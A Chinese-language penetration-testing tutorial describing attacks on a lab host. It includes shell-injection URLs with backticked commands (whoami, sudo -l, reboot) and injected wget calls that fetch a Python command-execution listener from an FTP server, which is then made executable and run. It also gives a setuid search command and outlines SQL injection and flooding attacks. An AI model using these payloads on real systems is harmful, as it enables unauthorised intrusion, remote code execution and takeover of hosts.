通過前面的端口掃描和Web掃描等工具,知道知道目標主機有什么樣的弱點,那么,下一步就是如何注入代碼控制或者攻擊該目標主機。
Shell injection(命令行注入)
一旦腳本或是代碼處理不當,就會將用戶的輸入參數(如HTTP參數、頁面中的輸入字段等)作為系統命令進行執行,而這些通過shell命令或腳本,你可以收集任何想要的信息,達到權限提升或是上傳文件的目的,一旦成功,該目標的生死就不由它了。
通過nmap掃描,我們知道目標主機(172.12.0.2)存在哪些開發端口,啟用了什么服務。然后,我們看見目標主機的80端口是開發,再用web分析掃描工具,獲得該站點的目錄和弱點信息, 如,我們通過skipfish掃描到目標主機存在如下弱點:
#skipfish掃描報告
一般情況下,通過Web界面登錄的用戶都是系統內嵌的一些用戶,如Apache等,如果你足夠幸運,程序員會把錯誤日志一起帶回頁面來顯示,那么你就能通過如下URL獲得一些信息:
http://172.12.0.2/~/xxd.sh?auth_name=user01&user_mac=`whoami`
#獲得當前用戶名信息
Pwd能知道當前的位置, sudo –l能知道該賬戶的權限, lsof能知道該用戶對文件的權限情況。
http://172.12.0.2/~/xxd.sh?auth_name=user01&user_mac=`sudo -l`
#當前用戶的權限信息
如果你發現頁面中存在文件上傳等能寫入系統的操作,很大幾率你能找到如何把文件上傳上去,實在不行,你可以把文件放在/tmp目錄下,做后續的操作
http://172.12.0.2/~/xxd.sh?auth_name=&user_mac=`wget -nH -m --ftp-user=admin --ftp-password=admins -P /tmp ftp://10.10.11.250/test.txt`
#成功上傳的文件
是時候展現技術的時候了,干一點創造性的工作: reboot:
http://172.12.0.2/~/xxd.sh?auth_name=&user_mac=`reboot`
#權限不夠導致命令執行失敗
非常遺憾,ping沒斷,設備沒死:這就進入了另一個高深的話題:權限提升的問題。
權限提升
在進行權限提升工作前,我們先做一點小工具,讓我們能像登錄設備一樣進行一些命令行操作。
如,上傳一個隨便編寫的Python腳本(進行TCP監聽,并解析用戶的輸入,進行系統命令執行, 將執行結果返回到客戶端), 腳本通過上面的wget放到/tmp目錄下,通過chmod 777修改權限,再執行腳本(加&使其后臺運行):
http://172.12.0.2/~/xxd.sh?auth_name=&user_mac=`wget -nH -m --ftp-user=admin --ftp-password=admins -P /tmp ftp://10.10.11.250:/server.py`
http://172.12.0.2/~/xxd.sh?auth_name=&user_mac=`chmod 777 /tmp/server.py`
http://172.12.0.2/~/xxd.sh?auth_name=&user_mac=`/tmp/server.py &`
我這里只是簡單的一個python腳本作為演示用:
#server.py
#client.py
OK, 連接后,第一件事兒就是試圖把用戶信息拿回來(試圖用密碼破解方式嘗試一下破解系統的密碼)
#還記得大明湖畔的夏雨荷嗎?
權限提升最好的方法是利用系統中的一些錯誤配置,如:
- 用戶home目錄的權限配置錯誤: 如755, 777權限的文件
ls –l可見文件和目錄的權限信息:
#文件的權限查看
“-rw-rw-r--”一共10位,最左邊表示類型(目錄、文件、連接等), 接著三位是所有者的權限, 接著三位是組群的權限,最后是其它用戶的權限(r讀、w寫、x執行,-未授權)。開發者或是管理員會在自己的目錄下包含一些敏感信息或是給自己提供方便,將文件的權限提升很大,利用好會省去很多時間。
- Getgid和setuid可執行程序
一個文件具有Set uid bit能力意味著它能潛在的運行在更高權限上(如root),如果你能找到這些應用程序的弱點或是試圖崩潰,那么你就有可能獲得root權限。如: 查找系統中具有STUID權限的文件
find / -perm -u=s -type f 2>/dev/null
#具有setuid能力的文件查詢
- 安全性低的服務
有些Server上,并沒有去掉不必要的服務,而這些服務以缺省配置在運行,通過cat /etc/services可見所有的服務。搜索這些服務可能存在的漏洞或缺陷也能提高你的效率。
- 利用溢出進行攻擊
站在巨人的肩上,起點就不會低,一些開源的工具或是其更新能幫助你快速獲得你想要的東西,如overlayfs(https://www.exploit-db.com/exploits/37292)。
SQL注入
SQL注入是想辦法將任意SQL代碼插入數據庫(如MySQL,Oracle,SQL Server或其他)查詢語句中,使攻擊者能夠完全控制Web應用程序后面的數據庫服務器。攻擊者可以使用SQL注入漏洞繞過應用程序安全措施;可以繞過網頁或Web應用程序的身份驗證和授權,并檢索整個SQL數據庫的內容,還可以使用SQL注入來添加,修改和刪除數據庫中的記錄。
利用前面章節提到的SQL注入檢測工具查到有潛在可能的頁面輸入時,構造SQL語句,從而獲得數據庫的內容后修改其記錄。
由于未能掃描到可攻擊的對象,無法掩飾這個攻擊過程。
服務攻擊
服務攻擊可能在大神的眼中是最沒技術含量的事情了:如小偷與搶劫的區別,前者是一個有著悠久技藝傳承的職業工種,后者就沒什么技術含量了。不過馬爸爸幾乎斷送了前者的職業生涯,讓小偷們現在不得不尋求世界文化遺產組織的保護,使得這個自古就有的職業得以延續下去!。
最著名的攻擊莫過于syn flooding了(發起大量的TCP syn報文,耗盡服務的連接數,使正常用戶不能建立連接)。以次類推的有udp_flooding, 半開連接、icmp_fooding, arp_poison之類的,通過構造報文,撩撥對方,等它正脫褲子時,撒腿就跑。相較而言,這是種流氓行為。但有時候耍流氓確實比較有效,只是我不太喜歡而已。
服務攻的工具網上一搜一大堆,理論上上只要能發包,就能構造各種攻擊,這里不再累述。